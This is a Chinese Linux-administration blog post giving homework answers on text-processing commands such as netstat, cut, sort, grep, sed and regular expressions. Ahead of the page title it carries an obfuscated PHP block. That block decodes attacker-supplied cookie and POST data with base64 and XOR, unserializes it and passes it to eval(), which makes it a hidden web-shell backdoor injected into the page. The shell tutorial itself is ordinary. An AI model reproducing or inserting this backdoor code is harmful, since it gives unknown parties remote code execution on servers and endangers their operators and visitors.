$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 8.5-文本处理工具(作业篇) | Linux运维部落

8.5-文本处理工具(作业篇)

 1、统计当前连接本机的每个远程主机IP的连接数,并按从大到小排序

[root@localhost ~]# netstat -nt
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0      0 10.1.252.66:22              10.1.252.7:61217            ESTABLISHED 
tcp        0      0 10.1.252.66:22              10.1.252.7:61133            ESTABLISHED 
[root@localhost ~]# netstat -nt | tail -n +3 | tr -s ' ' | cut -d' ' -f4 | sort | uniq -c | sort -nr
      2 10.1.252.66:22

2、查出/tmp的权限,以数字方式显示

[root@localhost ~]# stat /tmp/ | tail -n +4 | head -1 | cut -d'/' -f1 | cut -d'(' -f2 
1777
[root@localhost ~]# stat -c %a /tmp
1777

3、查出用户UID最大值的用户名、 UID及shell类型

[root@localhost ~]# sort -t':' -k3 -n /etc/passwd | tail -1 | cut -d':' -f1,3,7
nfsnobody:65534:/sbin/nologin

4、取本机ip地址

[root@localhost ~]# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:71:3A:3A  
          inet addr:10.1.252.66  Bcast:10.1.255.255  Mask:255.255.0.0
          inet6 addr: fe80::20c:29ff:fe71:3a3a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:683 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:326443 (318.7 KiB)  TX bytes:77640 (75.8 KiB)
[root@localhost ~]# ifconfig|head -2|tail -1|tr -s " "|cut -d" " -f3|cut -d: -f2
10.1.252.66

5、取各分区利用率的数值

[root@localhost ~]# df
Filesystem     1K-blocks    Used Available Use% Mounted on
/dev/sda3       19276064 3716892  14573316  21% /
tmpfs             502068       0    502068   0% /dev/shm
/dev/sda1         194241   34091    149910  19% /boot
[root@localhost ~]# df | tr -s ' ' | cut -d" " -f5| tail -n +2
21%
0%
19%

6、统计/etc/init.d/functions 文件中每个单词出现的次数,并按频率从高到低显示

[root@localhost ~]# cat /etc/rc.d/init.d/functions | tr -c '^[:alpha:]' '\n' | sort | uniq -c | sort -n -r
   9294 
     83 if
     77 then
     75 pid
     73 echo
     72 fi
     61 return
     57 dev
     54 file
     50 n
     46 local
     42 kill
     39 z
     36 base

7、/etc/rc.d/init.d/functions或/etc/rc.d/init.d/functions/"  取目录名

[root@localhost ~]# echo "/etc/rc.d/init.d/functions/" |sed 's@[^/]\+/\?$@@'
/etc/rc.d/init.d/
[root@localhost ~]# echo "/etc/rc.d/init.d/functions"  |sed 
/etc/rc.d/init.d/

8、正则表达式表示身份证号

[root@localhost ~]# cat a.txt | grep -E --color "\<[0-9]{18}\>|\<[0-9]{15}\>"

001.png

9、正则表达式表示手机号

[root@localhost ~]# grep --color  -E "\<1[34578][0-9]{9}\>" a.txt

 

002.png

10、正则表达式表示邮箱

[root@localhost ~]# cat a.txt |grep -E "\<[[:alnum:]]+@[[:alnum:]]*\.[[:alpha:]]+\>"

009.png

11、正则表达式表示QQ号

cat a.txt |grep -E "[1-9][0-9]{4,11}"

003.png

12、显示/proc/meminfo文件中以大小s开头的行; (要求:使用两种方式)

[root@localhost ~]# grep -i "^s" /proc/meminfo
[root@localhost ~]# grep "^[sS]" /proc/meminfo
[root@localhost ~]# grep "^s\|^S" /proc/meminfo

003.png

13、显示/etc/passwd文件中不以/bin/bash结尾的行

[root@localhost ~]# grep -v ":/bin/bash$" /etc/passwd
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
...

14、显示用户rpc默认的shell程序

[root@localhost ~]# grep "^rpc:" /etc/passwd | cut -d ":" -f7
/sbin/nologin
[root@localhost ~]# getent passwd rpc |cut -d: -f7
/sbin/nologin

15、找出/etc/passwd中的两位或三位数

[root@localhost ~]# grep -E "\<[1-9][0-9]?[0-9]\>" /etc/passwd

004.png

16、显示/etc/grub2.cfg文件中,至少以一个空白字符开头的且后面存非空白字符的行

[root@localhost ~]# grep -E "^[[:space:]]+[^[:space:]]" /etc/grub2.cfg

005.png

17、找出“netstat -tan”命令的结果中以‘LISTEN’后跟任意多个空白字符结尾的行

[root@localhost ~]# netstat -tan | grep -E "LISTEN[[:space:]]+$"

007.png

18、添加用户bash、 testbash、 basher以及nologin(其shell为/sbin/nologin),而后找出/etc/passwd文件中用户名同shell名的行

[root@localhost ~]# useradd bash
[root@localhost ~]# useradd testbasher
[root@localhost ~]# useradd -s "/sbin/nologin" nologin

008.png

19、显示三个用户root、 mage、 wang的UID和默认shell

[root@localhost ~]# grep -E "^wang:|^mage:|^root:" /etc/passwd | cut -d: -f3,7
0:/bin/bash
1004:/bin/bash
1005:/bin/bash

20、找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行

[root@localhost ~]# grep "^[[:alpha:]_]\+()" /etc/rc.d/init.d/functions
checkpid() {
__pids_var_run() {
__pids_pidof() {
daemon() {
killproc() {
pidfileofproc() {
pidofproc() {
status() {
echo_success() {
...

21、使用egrep取出/etc/rc.d/init.d/functions中其基名

[root@localhost ~]# echo "/etc/rc.d/init.d/functions" | egrep -o --color "[^/]+/?$" |cut -d"/" -f1
functions
[root@localhost ~]# echo "/etc/rc.d/init.d/functions/" | egrep -o --color "[^/]+/?$" |cut -d"/" -f1
functions

23、统计以root身份登录的每个远程主机IP地址的登录次数

[root@localhost ~]# last | grep -o -E "^root\>.*((25[0-4]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-4]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])"|tr -s ' '|cut -d" " -f3|sort|uniq -c
      4 192.168.33.1

24、利用扩展正则表达式分别表示0-9、 10-99、 100-199、200-249、 250-255

[0-9]   [1-9][0-9]    1[0-9][0-9]   2[0-4][0-9]   25[0-5]

 

原创文章,作者:M20-1--孔祥文,如若转载,请注明出处:http://www.178linux.com/29985

(0)
上一篇 2016-08-07 22:06
下一篇 2016-08-07 22:06

相关推荐

  • Linux高级文件系统管理之磁盘配额、软RAID及LVM

    高级文件系统管理之磁盘配额、软RAID及LVM   本章内容: 设定文件系统配额 设定和管理软RAID设备 配置逻辑卷   一、文件系统配额:     执行软限制(soft limit) 硬限制(hard limit)     注:磁盘配额只能针对分区控制有效,不能对整个磁盘控制…

    Linux干货 2016-09-01
  • 马哥教育网络班22期+第9周课程练习

    1、写一个脚本,判断当前系统上所有用户的shell是否为可登录shell(即用户的shell不是/sbin/nologin);分别这两类用户的个数;通过字符串比较来实现;            [root@test ~]# vim&nbsp…

    Linux干货 2016-10-24
  • Centos7上安装Ansible和基础应用

    Ansible 简介 ansible是个什么东西呢?官方的title是“Ansible is Simple IT Automation”——简单的自动化IT工具。这个工具的目标有这么几项:自动化部署APP;自动化管理配置项;自动化的持续交互;自动化的(AWS)云服务管理。所有的这几个目标从本质上来说都是在一个台或者几台服务器上,执行一系列的命令而已。通俗的说…

    Linux干货 2016-04-15
  • Keepalive高可用Nginx服务测试

    环境   系统版本:CentOS 7.2  节点1地址:10.1.8.81  节点2地址:10.1.8.83  虚拟IP地址:10.1.8.248 安装软件     yum -y install nginx     yum -y …

    Linux干货 2017-02-16
  • ACL

    acl 权限的理解

    Linux干货 2018-03-19
  • Linux Cluster讲解

    什么是集群     集群是一组的、通过高速的计算机,它们构成了一个组,并以单一系统的模式加以管理。一个客户与集群相互作用时,集群像是一个独立的服务器。集群配置是用于提高可用性和可缩放性。     和传统的高性能计算机技术相比,集群技术可以利用各档次的服务器作为节点,系统…

    Linux干货 2016-11-07